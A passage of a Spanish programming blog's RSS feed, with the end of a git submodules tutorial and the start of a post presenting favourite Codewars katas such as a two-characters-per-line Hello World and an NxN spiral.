style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Realizando cambios en el submódulo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git add &amp;lt;archivos&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git commit -m &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mensaje del commit del submódulo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git push&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Regresando al repositorio principal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; &amp;lt;repositorio-principal&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Actualizando la versión del submodulo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git add .gitmodules &amp;lt;archivos&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git commit -m &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Actualizar a nueva versión del submódulo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git push&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo importante a recordar aquí es que &lt;strong&gt;siempre debemos actualizar los cambios tanto del submódulo como del repositorio principal&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;inicializar-un-repositorio-con-submodules-en-git&#34;&gt;Inicializar un repositorio con submodules en git&lt;/h3&gt;&#xA;&lt;p&gt;¿Y qué pasa si en lugar de agregar un submódulo con &lt;em&gt;git add submodule&lt;/em&gt;, clonamos un proyecto que tiene un archivo &lt;em&gt;.gitmodules&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Cuando clonamos un repositorio que tiene submódulos, &lt;strong&gt;git clona solo el repositorio principal, sin incluir el contenido de los submodules&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone &amp;lt;repositorio-con-submodules&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Compruebalo, navega al interior de las carpetas de los submódulos y podrás apreciar que están vacias.&lt;/p&gt;&#xA;&lt;p&gt;Para que git descargue el contenido de los submódulos necesitamos inicializar, con &lt;em&gt;&amp;ndash;init&lt;/em&gt; los submódulos con el siguiente comando:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule update --init --recursive&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La opción &lt;em&gt;&amp;ndash;recursive&lt;/em&gt; se encargará de inicializar todos los submódulos del repositorio principal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;actualizar-un-repositorio-con-git-submodules-en-git&#34;&gt;Actualizar un repositorio con git submodules en git&lt;/h3&gt;&#xA;&lt;p&gt;¿Y qué pasa si hacemos un &lt;em&gt;pull&lt;/em&gt; de nuestro proyecto principal?&lt;/p&gt;&#xA;&lt;p&gt;Como te mencioné anteriormente, &lt;strong&gt;cada versión de tu proyecto principal se corresponde con una versión del submódulo&lt;/strong&gt;, por lo que si la versión de tu proyecto cambió, puede que haya cambiado el submódulo al que apunta.&lt;/p&gt;&#xA;&lt;p&gt;Además, en git, &lt;strong&gt;los submódulos no se actualizan de manera automática cuando actualizas el repositorio principal&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Si hubo cambios en tu repositorio principal y haces un &lt;em&gt;git pull&lt;/em&gt; es &lt;strong&gt;tu obligación actualizar los submódulos hasta el commit más reciente del código remoto del submodule&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule update --recursive --remote&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y es todo, si crees que este artículo puede servirle a alguien, apreciería que lo compartieras, pues me permite seguir creando contenido gratis para poner en redes.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los git submodules o submódulos son un registro dentro de un repositorio de git que apunta a un commit en un repositorio externo. Se manejan exactamente igual que harías con un repositorio, incluso tienen un archivo &lt;em&gt;.git&lt;/em&gt; que apunta a la ubicación en la que se lleva un registro de los cambios.&lt;/p&gt;&#xA;&lt;h2 id=&#34;para-que-sirven-los-git-submodules&#34;&gt;¿Para qué sirven los git submodules?&lt;/h2&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodulo-esquema-basico.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/images/git-submodulo-esquema-basico.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado de git submodules&#34; width=&#34;1200&#34; height=&#34;900&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema simplificado de git submodules&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Los submodules de git son útiles cuando queremos incorporar código de terceros a un proyecto y al mismo tiempo queremos llevar un control estricto de las actualizaciones de ese código por medio de git. Por ejemplo:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Top 5 Problemas de Algoritmos Favoritos en Codewars</title>
      <link>https://coffeebytes.dev/es/opinion/top-5-problemas-de-algoritmos-favoritos-en-codewars/</link>
      <pubDate>Sat, 30 Apr 2022 22:29:06 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/top-5-problemas-de-algoritmos-favoritos-en-codewars/</guid>
      
      <category>opinion</category>
      
      <category>algoritmos</category>
      
      
      
      
      
      <content:encoded>&lt;h2 id=&#34;que-es-codewars&#34;&gt;¿Qué es codewars?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Este es el recurso que leí, y por lo tanto puedo recomendar para aprender algoritmos, mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre algoritmos. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del Algorithm design manual\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Algorithm design manual y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender lo necesario sobre algoritmos?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Codewars es una red social de programadores que se reunen para retar a otros a resolver retos de código. Codewars es uno de &lt;strong&gt;los mejores sitios web para practicar algoritmos y resolución de Katas&lt;/strong&gt;. ¿Katas? Sí, como en Karate.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-son-las-katas&#34;&gt;¿Qué son las katas?&lt;/h3&gt;&#xA;&lt;p&gt;En el espíritu de las artes marciales, más específicamente Karate, estos problemas de código se llaman &lt;em&gt;katas&lt;/em&gt;. Las &lt;em&gt;katas&lt;/em&gt; se dividen, ascendemente, de acuerdo a su dificultad. Hay katas desde el 8vo kyu hasta la 1er kyu, siendo las de 1er kyu el tipo de &lt;em&gt;kata&lt;/em&gt; más dificil de todas.&lt;/p&gt;&#xA;&lt;p&gt;Hay &lt;em&gt;katas&lt;/em&gt; de muchísimos temas: desarrollo de algoritmos, eficiencia, regex, matemáticas, criptografía, etc.&lt;/p&gt;&#xA;&lt;p&gt;En conjunto, las &lt;em&gt;katas&lt;/em&gt;  abarcan una variedad de lenguajes: C, C++, Go, Python, Javascript, Elixir, Haskell, Rust, incluso lenguajes tan esotéricos como Brainfuck. Mientras que, individualmente, cada Kata cuenta con uno o más lenguajes.&lt;/p&gt;&#xA;&lt;p&gt;Sin más dilación, qquí te dejo mi top 5 de &lt;em&gt;katas&lt;/em&gt;. Estas &lt;em&gt;katas&lt;/em&gt; &lt;strong&gt;No son necesariamente las más dificiles&lt;/strong&gt;, sino las que considero que tienen el balance ideal entre creatividad y dificultad. Elijo aquellas que dan esa sensación de un buen acertijo, de esos que no puedes parar hasta resolverlo.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, &lt;strong&gt;no, no voy a poner las respuestas&lt;/strong&gt;, esas te tocan a ti.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;multi-line-task-hello-world&#34;&gt;Multi Line Task++: Hello World&lt;/h2&gt;&#xA;&lt;p&gt;Necesitas escribir una función que retorne el string &amp;ldquo;Hello, world!&amp;rdquo; en Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Requisito: Cada linea debe tener a lo mucho 2 caracteres, y el número total de lineas debe ser menor a 40.&lt;/p&gt;&#xA;&lt;p&gt;Pista: Es posible completarla en solo 28 lineas de código.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Kata original: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/59a421985eb5d4bb41000031&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Multi Line Task++: Hello World&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;nota-sobre-la-kata&#34;&gt;Nota sobre la Kata&lt;/h3&gt;&#xA;&lt;p&gt;Lo dificil es la parte de los dos caracteres por linea máximo. Inténtalo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;56&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;78&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Existe una versión más complicada donde el límite es un caracter por linea, en caso de que esta te parezca demasiado fácil.&lt;/p&gt;&#xA;&lt;h2 id=&#34;make-a-spiral&#34;&gt;Make a spiral&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Tu tarea es crear una espiral de NxN con el tamaño dado.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, una espiral con 5 de lado debería lucir así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;....&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;000.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;..&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y de tamaño 10&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.........&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;00000000.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;.....&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0000&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;..&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;....&lt;span style=&#34;color:#ff9f43&#34;&gt;0.0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.000000&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.&lt;/span&gt;.......&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El valor de retorno debería contener un array de arrays, de 0 y 1, con la primera fila compuesta de 1&amp;rsquo;s. Por ejemplo, para el tamaño dado de 5, debería ser:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[[&lt;/span&gt;1,1,1,1,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;0,0,0,0,1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span 